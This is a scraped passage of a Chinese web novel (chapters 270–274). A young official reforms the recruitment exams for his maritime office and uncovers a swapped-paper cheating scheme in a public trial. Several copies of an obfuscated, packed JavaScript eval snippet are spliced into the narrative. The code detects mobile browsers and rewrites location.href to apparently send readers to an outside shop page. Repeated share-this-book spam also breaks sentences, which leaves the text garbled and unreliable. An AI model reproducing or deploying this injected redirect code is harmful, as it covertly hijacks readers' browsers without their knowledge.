“其二,大乾律法,尤其是与商律、税法相关的条例。我们要建立新秩序,就必须先懂旧规矩,知道什么能做,什么不能做,底线在哪里。” “其三,策论断案。我会出五道与温州府实际情况相关的案例,让他们分析、判断,并给出处置方案。” “我要看的,不是他们的锦绣文章,而是他们解决实际问题的能力!” 裴文忠越听眼睛越亮,心中已是掀起了惊涛骇浪。 陆明渊提出的这三项考核内容,完全摒弃了科举考试中那些虚无缥缈的四书五经、诗词歌赋。 每一项都直指核心,立足于“实务”二字! 这是在选能臣干吏! “所有试卷,先由你带人初步批阅,筛选一遍,然后全部送呈于我,我来做最后的评定。” “最终,所有考生的成绩,全部张榜公布,贴在府衙门口,让温州府的百姓都来看,都来评!” “若是有谁觉得不公,尽可来告!倘若让我发现其中有任何徇私舞弊之举……” 陆明渊的目光陡然变得凌厉,“文忠,后果你自己掂量。” 裴文忠只觉得一股寒意从背脊升起,瞬间遍布全身。 他猛地站起身,声音铿锵有力。 “大人放心!下官便是拼了这条性命,也绝不敢在此事上有半分含糊!若有差池,甘受军法!” 他知道,陆明渊这是在敲打他,也是在给他这个心腹之人立下最严苛的规矩。 “好。”陆明渊满意地点了点头,示意他坐下,“这只是第一重考核。” “大人,第二重如何?”裴文忠的呼吸都急促了几分。 “通过了笔试之人,并非就算正式录用了。他们还需要经过第二重考核——岗位试用。” “岗位试用?” 这个词汇对裴文忠来说,太过新奇,他一时间竟没能理 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 解其中的含义。 “所有通过笔试的人,我们会根据他们的成绩和特长,暂时授予相应的职司,让他们直接参与到镇海司的日常工作中来。” “这个试用的时间,定为一个月。” “这一个月内,他们没有品级,只发一份固定的薪俸。” “他们所做的每一件事,处理的每一桩公务,不仅有你我这样的上官在看,更要接受所有温州百姓的监督!” “衙门口会设一个鸣冤鼓,再设一个功过箱。” “百姓若觉得哪个试用官吏办差不力,或是贪赃枉法,可直接击鼓鸣冤,也可将状纸投入箱中。” “反之,若觉得哪个官吏是真正为民办事的青天,亦可将褒奖之词投入箱中。” “一个月后,”陆明渊的声音掷地有声。 “这些人是去是留,最终能否成为镇海司的正式一员,将由两方共同决定。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777361|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “一方,是我。” “另一方,就是温州府的百姓!” “我会设立投票箱,让百姓来投票。只有同时得到我和百姓认可的人,才能真正留下!” 轰! 裴文忠只觉得自己的脑海中仿佛有惊雷炸响,整个人都僵在了原地,眼中写满了难以置信的震撼。 让百姓来决定一个官吏的去留? 这……这简直是闻所未闻,见所未见! 自古以来,官吏的任免皆出自上官,出自朝廷,何曾与草民百姓有过半分关系? 陆大人的这个想法,实在是太过惊世骇俗,太过……大胆了! 他呆呆地看着陆明渊,嘴巴微张,半天说不出一句话来。 他忽然想起了自己。想起了自己寒窗苦读十余载,一朝科举,却因为不擅长那些华而不实的八股文章,名落孙山。 而后在吏部苦熬多年,始终只是个微末小官,郁郁不得志。 如果……如果当年他参加科举时,能有这样的制度。 能有一个月的时间来向世人展示自己的实干之才,或许……或许他早已不是今日的光景! 这一刻,裴文忠心中百感交集,既有对陆明渊天马行空般构想的震惊,更有种遇到知己的强烈共鸣。 是啊,读书人读书,难道就是为了写几篇漂亮文章吗? 不,是为了经世致用,是为了安民济世! 陆大人这两重考核,看似离经叛道,实则直指为官之本! 它能筛选掉那些只会夸夸其谈的书呆子,能剔除那些心术不正的钻营之辈。 你的朋友正在书荒,快去帮帮他吧 最终留下的,必然是熟悉漕运海事、精通律法、又能真正为百姓办实事的人才! 此法,堪称完美! 想到此处,裴文忠眼眶竟有些微微发热。 他再次起身,对着陆明渊深深一揖,这一次,是发自肺腑的敬佩。 “大人之才,经天纬地,下官……心服口服!” 陆明渊看着他激动的神情,只是淡淡一笑。 他所做的,不过是将后世一些成熟的制度,稍加改造,用在这个时代罢了。 但他也知道,这看似简单的一步,对于这个时代的人来说,冲击力有多么巨大。 他没有再多解释,只是沉声吩咐道。 “此事宜早不宜迟。五日之后,就在温州府的贡院举行笔试。考场的安排、监考官的人选,都由你去办。” “监考官,就从温州府府学里那些德高望重的老学究中挑选,届时我会亲自过目,随机圈定最终人选,以防有人提前走漏消息。” 裴文忠此刻已是心潮澎湃,只觉得浑身充满了干劲。 他仿佛已经看到,一个高效、廉洁、务实的镇海司,即将在自己和陆大人的手中诞生。 “下官遵命!”他重重地点了点头,眼神中燃烧着熊熊的火焰。 “下官这就去拟定告示,明日一早,便张贴全城!” 第271章 此次镇海司取士,有人徇私舞弊 翌日清晨当镇海司衙役将告示张贴在温州府各处要冲之地时整个温州随即震动。 告示前人头攒动摩肩接踵。 识字的书生高声念诵着上面的内容。 “两重考核?笔试加岗位试用?” “笔试不考四书五经专考漕运海事、大乾律法和实务策论?” “我的天!通过笔试之后还要试用一个月最终去留竟然……竟然要让咱们百姓投票决定?” 人群中先是死一般的寂静随即爆发出山呼海啸般的议论声。 “这……这陆大人是要做什么?开天辟地头一遭啊!” 一位上了年纪的老秀才扶着自己的胡须浑浊的眼睛里满是震惊。 “此法大善!大善啊!” 一个穿着短衫皮肤黝黑的汉子激动地涨红了脸。 他是码头上的脚夫平日里受够了那些胥吏的盘剥。 此刻听到竟然有官吏的任免要听他们这些草民的意见只觉得一股热血直冲头顶。 “早就该这样了!是骡子是马拉出来遛遛!” “光会写几句酸诗有个屁用能给咱们老百姓办实事的才是好官!” 他的话立刻引起了一片附和之声。 “说的是!整日里之乎者也问他米价几何他却两眼一抹黑这样的官要来何用?” “陆大人这是要为咱们温州选拔真正的能吏啊!我等百姓有福了!” 当然并非所有人都为此叫好。 在人群的角落里几个穿着绫罗绸缎一看便知是世家子弟的年轻人脸上挂着毫不掩饰的讥讽与不屑。 “荒唐!简直是滑天下之大稽!”其中一人冷哼道。 “朝廷取士 “不错让一群泥腿子来决定我等读书人的前程这是对圣人学问的侮辱!” 另一人附和道“这位陆大人怕不是个哗众取宠的疯子吧?” 他们的声音不大但在这嘈杂的环境中却依旧显得格外刺耳。 然而他们的非议很快便被淹没在了更多读书人的激动与兴奋之中。 那些真正有才学却因不善八股文章而屡试不第的士子们此刻仿佛看到了人生中最大的一道曙光。 “公平!这才是真正的公平!” 一个面容清瘦的举人激动地握紧了双拳眼眶泛红。 “陆大人此举 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 ,不拘一格降人才,我辈读书人,终于有了用武之地! 一时间,整个温州府的**分成了泾渭分明的两派。 寻常百姓和寒门士子无不拍手称快。 而那些盘踞温州多年的世家大族,以及习惯了旧有规则的保守文人,则对此嗤之以鼻。 他们认为这是离经叛道之举,必将失败。 无论外界如何喧嚣,镇海司的筹备工作依旧在有条不紊地进行。 五日时间,转瞬即逝。 这五日里,温州府仿佛变成了一个巨大的漩涡中心。 不仅是本府的士子,就连周边府县,乃至整个浙江行省,都有听闻消息后快马加鞭赶来的读书人。 他们或为功名,或为一展抱负,或仅仅是想亲眼见证这前所未有之变局。 考试之日,温州贡院府门前车水马龙,人声鼎沸。 陆明渊身着一身藏青色官袍,亲自坐镇贡院,担任主考官。 他神情肃穆,目光如炬,扫视着下方一张张或紧张、或期待、或忐忑的面孔。 “诸位, 他的声音传遍整个考场。 “今日之考,不论文采风流,只问经世致用。 “你们笔下所写的每一个字,都将可能决定温州府未来之走向。 “镇海司的大门,只为真正的干才而开。 “望诸位,好自为之! 随着一声锣响,考试正式开始。 整整三日,贡院之内,只闻笔尖划过纸张的沙沙声。 第一日,考漕运海事。 题目从大乾内河水文,到沿海洋流季风,再到各类船只的构造与优劣,包罗万象,细致入微。 许多只知皓首穷经的士子当场便傻了眼,抓耳挠腮,无从下笔。 第二日,考大乾律法。 试卷内容刁钻,专挑商律、税法中的疑难条款,甚至还有涉及海贸**的案例,要求考生依法判决。 这又刷下了一大批只读圣贤书,不问窗外事的书呆子。 第三日,策论断案。 五道题目,皆是陆明渊根据温州府的实际情况亲自拟定。 如何清丈田亩以防偷漏? 如何整顿市舶司以兴海贸? 如何安置流民以充劳力? 如何应对倭寇袭扰? 如何平衡世家与平民之利? 每一道题,都直指温州府最核心的矛盾与弊病。 这考验的已不仅仅是学识,更是眼界、格局 你的朋友正在书荒,快去帮帮他吧 与解决实际问题的魄力。 三日考试结束,三百多名考生走出贡院时,已是神态各异。 有人昂首挺胸,意气风发;有人垂头丧气,面如死灰。 更多的人则是满脸疲惫,神情恍惚。 他们知道,这场考试,将彻底改变他们的人生轨迹。 接下来的两日两夜,裴文忠与从温州贡院请来的学正,带着十余名书办,不眠不休地批阅试卷。 油灯一盏接着一盏地燃尽,墨汁一砚接着一砚地磨干。 足足两天两夜后,裴文忠强忍着疲惫,亲自抱着筛选出的五十份最优试卷,来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777362|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了陆明渊的书房。 “大人,幸不辱命!” 他将试卷整齐地放在陆明渊的办公桌上。 陆明渊点了点头,示意他坐下休息,自己则拿起最上面的一份试卷,沉心静气地翻阅起来。 书房内,只剩下纸张翻动的声音。 裴文忠坐在一旁,看着陆明渊那张年轻却异常沉稳的脸,心中紧张不已。 这五十份试卷,是他和学正等人呕心沥血挑选出来的。 代表了他们对“干才”的理解。但这是否符合陆明渊的标准,他心里一点底都没有。 时间,在寂静中缓缓流逝。 一个时辰,两个时辰,三个时辰…… 窗外的天色由明转暗,侍女悄无声息地进来掌了灯。 足足四个时辰之后,陆明渊才放下了最后一份试卷,长长地舒了一口气。 他抬起头,看向一脸忐忑的裴文忠,脸上露出了满意的笑容。 “不错。” 简单的两个字,让裴文忠悬着的心瞬间落了地。 “文忠,你们的眼光很好。” 陆明渊赞许道,“这五十人,大多都有进士之才,且于实务一道颇有见地。尤其是这几份卷子……” “按照我们之前定下的规矩,” 陆明渊的声音恢复了严肃。 “将所有考生的成绩,全部张榜公示。就贴在府衙门口,让全城百姓都来看,都来评!” “公示期为两日。若有任何人对成绩持有异议,可直接来府衙鸣冤鼓前申诉,本官会亲自受理,当众复核试卷。” “但时限只有两日,过时不候!” “下官遵命!” 裴文忠躬身领命,转身便去安排。 半个时辰后,一张巨大的皇榜被张贴在了温州府衙前的照壁上。 上面不仅详细罗列了所有考生的三科成绩与总评,供人阅览。 消息一出,府衙门前再次被围得水泄不通。 这一次,人群中的气氛更加热烈。 落榜者失魂落魄,仿佛失去了天大的机会,上榜者则满面红光,享受着旁人羡慕的目光。 而更多的百姓,则是好奇地围观过来凑热闹。 然而,就在这片和谐的氛围中,一声不合时宜的鼓声,骤然响起。 “咚——!咚——!咚——!” 沉闷而急促的鼓声,仿佛惊雷一般,瞬间压过了所有的嘈杂。 所有人齐刷刷地转过头,望向府衙门口那面巨大的鸣冤鼓。 只见一个身穿儒衫、面容悲愤的年轻学子,正手持鼓槌,用尽全身力气,一下又一下地敲击着鼓面。 他一边敲,一边用嘶哑的声音高声厉喝: “学生乃落榜考生周震!学生不服!此次镇海司取士,有人徇私舞弊!考官不公!我要见陆大人!” 第272章 这份试卷,署的是谁的名? 舞弊!这两个字,对于任何一场科举考试而言,都是最能挑动人心的惊天丑闻。 更何况,这还是陆明渊一手操办,万众瞩目的镇海司选拔! 一时间,所有人的目光都聚焦在了那个敲鼓的儒衫学子身上。 有惊愕,有怀疑,有幸灾乐祸,更多的,则是对这位敢于挑战官府威严的读书人的好奇。 鸣冤鼓响,声震内外。 这鼓声不仅仅是敲给外面的百姓听,更是直接敲在了府衙之内,每一个官吏的心头。 裴文忠正在后堂与几位书办核对最终的名单,准备明日正式录用事宜。 冷不防听到这惊雷般的鼓声,手里的茶杯“哐当 他脸色煞白,额头上瞬间冒出了细密的冷汗。 舞弊? 怎么可能! 他亲自督办,与学正大人不眠不休,每一个环节都盯得死死的,怎么会出这种纰漏? “是谁在敲鼓? 裴文忠的声音有些发颤。 一名衙役连滚带爬地跑了进来,气喘吁吁地禀报道。 “大人,是……是个落榜的考生,叫周震,他在外面喊……喊考试不公,有人舞弊! 裴文忠只觉得眼前一黑,差点没站稳。 温州府的鸣冤鼓,自从陆大人主政以来,便再也无人敲响过。 这面鼓,已经成了温州府政通人和的一个象征。 如今,它却因为镇海司的选拔而被敲响,这不啻于一记响亮的耳光,狠狠地抽在了镇海司的脸上。 抽在了他裴文忠的脸上,更是抽在了陆明渊的脸上! 他不敢怠慢,匆匆整理了一下衣冠,便急忙赶往陆明渊的书房。 此刻的陆明渊,正站在窗前,负手而立,静静地听着外面那一下比一下沉重的鼓声。 他的脸上看不出喜怒,眼神却如深潭一般,幽暗得令人心悸。 “大人!裴文忠冲进书房,满脸惶急,躬身请罪。 “下官失察,下官失察啊!请大人降罪! 陆明渊缓缓转过身,目光如电,落在裴文忠身上。 那眼神里没有责备,却带着一种冰冷的锐利,让裴文忠的心沉到了谷底。 “慌什么。陆明渊的声音很平静,平静得有些可怕。 “出了问题,就解决问题。逃避和请罪,是这世上最无用的两件事。 他顿了顿,语气陡然转厉。 “我三令五申,公 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 平公正,是镇海司的立身之本。现在,有人敢在这根基上动手脚,很好……真的很好。” 裴文忠听得胆战心惊,他知道,陆大人这是动了真怒。 “传我的话,”陆明渊一字一句地说道。 “升堂!本官要亲自审理此案!让所有在场的百姓都进来。” “就在这府衙大堂,当着全城人的面,把这件事查个水落石出!” “是!”裴文忠领命,心中却是一凛。 当众审案!大人这是要将此事彻底公开,不留任何余地。 这既是展现他彻查到底的决心,也是一场豪赌。 若是查出确有舞弊,镇海司的公信力将荡然无存;若是查不出,那便是诬告,同样会引起轩然大波。 无论结果如何,温州府,今日注定无法平静。 很快,“肃静”、“威武”的喊声响彻府衙。 厚重的大门缓缓打开,无数百姓怀着各种心态,潮水般涌入大堂外的空地。 大堂之上,陆明渊身着藏青色官袍,头戴乌纱,面沉似水,高坐于公案之后。 两侧衙役手持水火棍,分列而立,气氛肃杀。 “啪!” 惊堂木重重拍下,发出清脆的响声,瞬间压下了所有的议论。 “带鸣冤者上堂!” 陆明渊的声音冰冷,不带一丝感情。 很快,那个名叫周震的学子被带了上来。 他虽然衣衫有些凌乱,神情悲愤,但脊梁却挺得笔直,面对着高高在上的陆明渊,不卑不亢。 “堂下何人,为何敲响鸣冤鼓?” 周震拱手一揖,声音洪亮而清晰。 “学生周震,台州府人士,嘉靖十五年举人。” “听闻陆大人为国求才,不拘一格,特设镇海司选拔。学生不才,亦想为国效力,故而前来应考。” “今日放榜,学生名落孙山,本也无话可说,只怪自己学艺不精。” “但学生心有不甘,前往贡院查阅试卷,却发现那份署着学生名号的试卷,笔迹、文章,无一处是学生所作!” 他抬起头,目光灼灼地看着陆明渊,一字一顿地说道。 “学生的试卷,被人调包了!有人窃取了学生的文章,冒名顶替!” “学生恳请大人做主,还学生一个公道!” 此言一出,满堂哗然。 调包试卷! 这可是科场舞弊案中性质最恶劣的一种! 陆明渊的眼神愈发冰冷, 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 他没有立刻回应周震,而是将目光转向了身旁的裴文忠。 裴文忠的脸色已经难看到了极点,他躬身出列,声音沙哑地道。 “大人,此次阅卷,糊名、誊录、批阅,皆有专人负责,层层把关,按理说,绝无可能出现此等纰漏。” “按理说?”陆明渊冷哼一声。 “现在不是按理说,是事实就摆在眼前!” “裴文忠,立刻将贡院负责审批周震试卷之人,以及所有经手过他试卷的相关人等,全部给我带到堂上来!” “下官遵命!”裴文忠不敢有丝毫迟疑,立刻带人匆匆离去。 大堂内外,陷入了一种诡异的寂静。 所有人的目光都在陆明渊和周震之间来回逡巡,等待着这场风暴的后续。 不到半个时辰,裴文忠便带着几个人返回了大堂。 为首的是一个年约五旬的文官,神情惶恐,正是负责此次誊录工作的贡院誊录官,萧志行。 萧志行乃是嘉靖七年的进士,在温州府贡院任职已有二十四年,一向以严谨细致著称,从未出过差错。 此刻,他跪在堂下,身体抖得如同风中落叶。 “下官……下官萧志行,参见大人。” 陆明渊看着他,缓缓开口:“萧志行,本官问你,此次考试的试卷誊录,是否由你总负责?” “是……是下官。” 萧志行颤声答道。 “那好,”陆明渊的声音陡然提高。 “你告诉本官,为何会出现试卷被调包之事!” “大人明鉴!”萧志行猛地磕了一个头,急声道。 “下官冤枉!所有试卷从收卷、弥封、糊名到誊录,皆是双人复核,锁在贡院密室之中。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784719|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “钥匙由下官与学正大人分持,绝无可能被外人接触啊!” 陆明渊并未继续看他,转过头看着周震! “既然你说试卷被人调包,可记得自己试卷之中,如何回答?” 周震点了点头,神情无比笃定的开口说道! “学生记得自己策论第三题的破题与承题之句。” “那道题问的是‘如何平衡世家与平民之利’。” “学生的破题之句是‘利不患寡而患不均,政不患弱而患不公’!承题之文,学生亦可当场默写出来!” “好!”陆明渊眼中精光一闪。 “来人,取笔墨纸砚!” 衙役立刻将文房四宝呈上。 周震毫不犹豫,走到一 听说看这本书的人都是很幸运的,分享后你的运气会更棒 旁的桌案前,提笔挥毫。 他的字迹沉稳有力,笔走龙蛇,显然是有真才实学的。 就在周震奋笔疾书之时,陆明渊再次下令。 “裴文忠,去将贡院所有考生的试卷,一份不落,全部搬到大堂上来!” “全部?” 裴文忠一愣,那可是三百多份试卷,堆起来像小山一样。 “对,全部!”陆明渊斩钉截铁地说道。 “本官今日,就要一份一份地对!” “我倒要看看,是谁有这么大的胆子,敢在本官的眼皮子底下,行此偷天换日之举!” 命令一下,府衙的衙役们立刻行动起来,一箱箱封存好的试卷被抬进了大堂,在公案前堆积如山。 百姓们看得目瞪口呆,他们何曾见过如此阵仗? 当堂默写,当堂比对三百多份试卷。 这位陆大人,是要用最笨,也是最无可辩驳的方法,来查明真相! 很快,周震停下了笔,将写好的纸张呈上。 陆明渊接过,只扫了一眼,便点了点头,然后将目光投向了那堆积如山的试卷。 “开卷,比对!” 一声令下,十几名书办立刻上前。 在裴文忠和萧志行的监督下,小心翼翼地打开封存的试卷箱,开始了一场浩大的工程。 大堂内,只剩下纸张翻动的“哗哗”声。 时间一点一滴地流逝,所有人都屏住了呼吸。 这不仅仅是在寻找一份试卷,更是在拷问着这场改革的公正性。 一个时辰过去了,没有结果。 两个时辰过去了,依旧没有结果。 堂外的天色渐渐暗了下来,衙役们点起了明亮的火把,将整个大堂照得如同白昼。 就在众人渐渐有些不耐烦,以为此事会成为一桩悬案之时,一名年轻的书办突然发出一声惊呼。 “找到了!大人,找到了!” 所有人的目光瞬间聚焦过去。 那书办激动地捧着一份试卷,高高举起,声音颤抖地说道。 “这份试卷,策论第三题的破题之句,与周举人默写的一模一样!” “‘利不患寡而患不均,政不患弱而患不公’,一字不差!” 全场轰然! 找到了!真的找到了! 裴文忠一个箭步冲过去,抢过试卷,仔细核对了一遍,然后激动地转身,对陆明渊禀报道;、 “大人!千真万确!就是这份!” 陆明渊的眼神瞬间变得锐利如刀,他沉声问道:“这份试卷,署的是谁的名?” 第273章 只可惜,你背错了 裴文忠喉结滚动了一下,艰难地咽了口唾沫,他翻开试卷的糊名签,一字一顿地念了出来。 “回……回大人,是……何文瑞! 何文瑞! 这三个字如同一块巨石投入平静的湖面,瞬间在大堂内外激起了千层巨浪! “什么?竟然是何公子? “何文瑞?就是那个去年中了举人,号称‘余杭才子’的何文瑞? “他可是这次笔试的第三名啊!怎么会……怎么会是他的试卷? “这……这到底是怎么回事?难道是他偷了周举人的文章? 人声鼎沸,议论纷纷。 何文瑞在温州府的名气不小,出身余杭何家,家学渊源,本人又才华横溢,是无数读书人羡慕的对象。 谁也想不到,这桩惊天舞弊案,竟然会牵扯到他的身上。 更让一些消息灵通之辈心惊的是,余杭何家,与那位权倾浙江的按察使何茂才大人,可是沾亲带故的远房亲戚! 这案子,一下子变得复杂起来了。 站在陆明渊身侧的崔颖,神情也凝重了起来。 “大人,这个何文瑞,是余杭何家的人。余杭何家……是浙江按察使何茂才的远方本家。 “何茂才虽非严党核心,但与严阁老门下多有往来,在浙江官场根深蒂固,不可小觑。 “此事……还需慎重。 他的声音里透着一丝担忧,这已经不是简单的科场舞弊,而是牵扯到了浙江官场错综复杂的关系网。 稍有不慎,便可能引火烧身。 “慎重? 陆明渊淡淡地吐出两个字,声音不大,却带着一种不容置喙的决绝。 “本官的字典里,从来没有因为对方的身份而慎重这两个字。 他转过头,目光扫过崔颖,声音平静地说道。 “我镇海司的选拔,别说是他何茂才的侄子,就是他何茂才本人来了,也要守本官的规矩! 崔颖心中一凛,看着陆明渊那张年轻却透着无尽威严的侧脸,一时间竟有些失神。 陆明渊不再多言,目光重新投向堂下,声音如寒冰般落下。 “裴文忠! “下官在! “立刻派人,去何家!将何文瑞给本官带到堂上来!本官要当面对质! “是! 裴文忠心中热血上涌,大人的这份担当与霸气,让他所有的顾虑都烟消云散。 他重重一抱拳,亲自点 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 了几个精干的衙役,如狼似虎地冲出了府衙。 府衙内外,再次陷入了死一般的寂静。 时间并未过去太久,急促的脚步声便由远及近。 在裴文忠和几名衙役的“护送”下,一个身着华贵绸衫,面容俊朗,气度不凡的年轻人走进了大堂。 正是何文瑞。 与众人想象中的惊慌失措不同,何文瑞的脸上没有丝毫的慌乱,甚至可以说是镇定自若。 他步履从容,眼神淡然,仿佛不是被传来对质的嫌犯。 他走到大堂中央,对着高坐公案之后的陆明渊,只是微微一拱手,不卑不亢地说道。 “学生何文瑞,见过陆大人。” 那份从容,那份淡定,让原本对他充满怀疑的百姓们,心中又泛起了嘀咕。 难道……事情还有隐情? 陆明渊看着他,眼神幽深,看不出喜怒。 “何文瑞,你可知本官为何传你上堂?” 何文瑞微微一笑,那笑容里带着几分自信与洒脱。 “学生不知。不过想来,是与这位周举人有关吧。” 他的目光轻飘飘地落在跪在一旁的周震身上,带着一丝若有若无的轻蔑。 陆明渊面无表情,将那份试卷往公案上一推,声音不大,却清晰地传遍了整个大堂。 “这份试卷,署着你的名字,却写着他的文章。你,作何解释?” 何文瑞闻言,脸上非但没有惊慌,反而露出了一丝玩味的笑意。 他早就料到会有此一问,何家早已为他做好了万全的准备。 那份试卷的内容,他早已烂熟于心,倒背如流。 他朗声说道。 “大人,此事学生也觉得蹊跷。但若说这文章是这位周举人所作,学生万万不能苟同!” “这分明就是学生呕心沥血之作,不知为何,会被此人觊觎!” “哦?”陆明渊眉毛一挑。 “这么说,你是承认这篇文章是你所写了?” “当然!”何文瑞昂首挺胸,一脸傲然。 “文章乃我心血,字字句句,皆出我手,学生自然记得!” “好。”陆明渊点了点头。 “那你且将这第三道策论的内容,当堂复述一遍。若是一字不差,本官自有公断。” 此言一出,周震脸色一白,而何文瑞的眼中则闪过一丝不易察觉的得意。 这正中他的下怀! “学生遵命!” 何文瑞清了 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 清嗓子,在大堂之上,当着全城百姓的面,开始抑扬顿挫地背诵起来。 “策论三,问‘如何平衡世家与平民之利’。” “破题之句:‘利不患寡而患不均,政不患弱而患不公’。 承题曰:‘盖天下之利,非一人之私产,乃万民之共养……’” 他声音洪亮,口齿清晰。 从破题、承题,到起讲、入手,再到后续的层层论述,竟然真的分毫不差,一字不漏! 那份行云流水的从容,那份对文章内容的了如指掌,让所有人都看呆了。 这……这怎么可能? 如果文章不是他写的,他怎么可能背得如此熟练? 当何文瑞背完最后一个字,整个大堂内外,鸦雀无声。 所有人的目光都变得复杂起来。 他们看看一脸得意的何文瑞,又看看面如死灰、浑身颤抖的周震,心中的天平,已经开始悄然倾斜。 何文瑞背完之后,对着陆明渊深深一揖。 “大人,学生已经背诵完毕,与试卷内容分毫不差。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784720|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“事实俱在眼前,此人分明就是血口喷人,恶意污蔑!” 他的声音陡然拔高,充满了委屈与愤慨。 “学生十年寒窗,凭真才实学考取功名,却遭此无妄之灾!” “恳请大人明察秋毫,严惩此等诬告之徒,还学生一个清白,以为我正名!” 他的话音刚落,人群中立刻爆发出了一阵骚动。 “就是!我看这周震就是个骗子!” “肯定是!他肯定是借着查卷子的名义,偷看了何公子的文章,看人家写得好,就起了歹心!” “没错!这种人就该重重地打板子,革除功名,永不录用!” 几道突兀的声音响起,如同投入油锅里的火星,瞬间点燃了百姓们的情绪。 这些人,正是何家早就安插在人群中的托儿。 在他们的煽动下,原本就心生疑虑的百姓们立刻被带偏了节奏。 “对!严惩诬告者!” “陆大人可不能被这种小人蒙蔽了啊!” “何公子才是受害者!” 一时间,**竟然发生了惊天逆转! 周震听着耳边传来的声声指责与谩骂,只觉得天旋地转,一口气血涌上喉头。 他猛地抬起头,双目赤红,看着那些曾经还对他报以同情的面孔,如今却充满了鄙夷与不屑。 他怎么也想不明白,事情怎么会变成这样? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “不是的……不是的!” 他用尽全身力气嘶吼着,重重地对着陆明渊磕头,发出“咚咚”的闷响。 “大人!学生冤枉!学生所言句句属实,绝无半句虚言!” “请大人明察!请大人为学生做主啊!” 血从他的额头渗出,顺着脸颊流下,与泪水混在一起,显得无比凄厉。 而另一边,何文瑞也再次拱手行礼,声音沉痛地说道。 “大人,学生亦请大人秉公执法,严惩周震,以儆效尤!” 一个悲愤欲绝,一个义正言辞。 一个血泪交加,一个气定神闲。 截然不同的两种姿态,却提出了同一个请求。 一时间,所有人的目光,再一次聚焦到了公案之后,那个从始至终都面沉如水的年轻官员身上。 整个温州府,都在等待着他的判决。 大堂之上,火把的光芒跳跃着,将陆明渊的脸映照得忽明忽暗。 他静静地看着堂下对峙的二人,看着周围群情激奋的百姓。 陆明渊眼神里没有丝毫的波澜,仿佛眼前这戏剧性的一幕,早就在他的预料之中。 他没有理会跪地泣血的周震,也没有去看那胜券在握的何文瑞。 他的目光,缓缓地落在了那份被翻开的试卷上。 声音平静地响起,却如同一柄重锤,敲在了每个人的心上。 “何文瑞,你背得很好。” 何文瑞心中一喜,以为陆明渊已经相信了他。 然而,陆明渊的下一句话,却让他脸上的笑容瞬间凝固。 “只可惜,你背错了。” 第274章 眼神中满是绝望! “只可惜,你背错了。” 这六个字,如同一道惊雷,在寂静的大堂之上轰然炸响。 何文瑞脸上的笑容彻底僵住,那份胜券在握的从容瞬间碎裂,化为难以置信的错愕。 他下意识地反驳道:“不可能!学生绝不可能记错!” 堂下刚刚被煽动起来的百姓们也愣住了,议论声戛然而止。 所有人都瞪大了眼睛,迷惑地看着公案后那个神情淡漠的年轻人。 背错了?怎么会背错了? 方才何公子那般行云流水,一字不差。 所有人都听得真真切切,怎么到了陆大人这里,就成了背错了? 就连跪在地上的周震,也抬起了沾满血污的脸,赤红的眼中闪过一丝茫然。 他自己写的文章,他自然知道何文瑞背诵的与卷上所书基本不差。 陆大人为何要这么说? 陆明渊没有理会何文瑞的辩解,他的目光依旧停留在试卷之上。 “何文瑞。” 陆明渊缓缓开口,声音不大,却带着一种洞穿人心的力量。 “本官问你,你既有过目不忘之能,能将自己考场之上偶然得之的文章记得如此清晰,想必平日里的学问,更是扎实得紧了?” 这话听似夸奖,却暗藏机锋。 何文瑞心中咯噔一下,一种不祥的预感油然而生。 他强自镇定,拱手道:“大人谬赞,学生不过是勤学苦读,不敢有丝毫懈怠。” “好一个勤学苦读。” 陆明渊的嘴角勾起一抹冰冷的弧度。 “本官倒是想知道,是怎样的勤学苦读,才能让你一个去年才中了举人的‘庐阳才子’,拥有连状元郎都未必具备的本事。” 他顿了顿,声音陡然转厉,如同出鞘的利剑,寒气逼人! 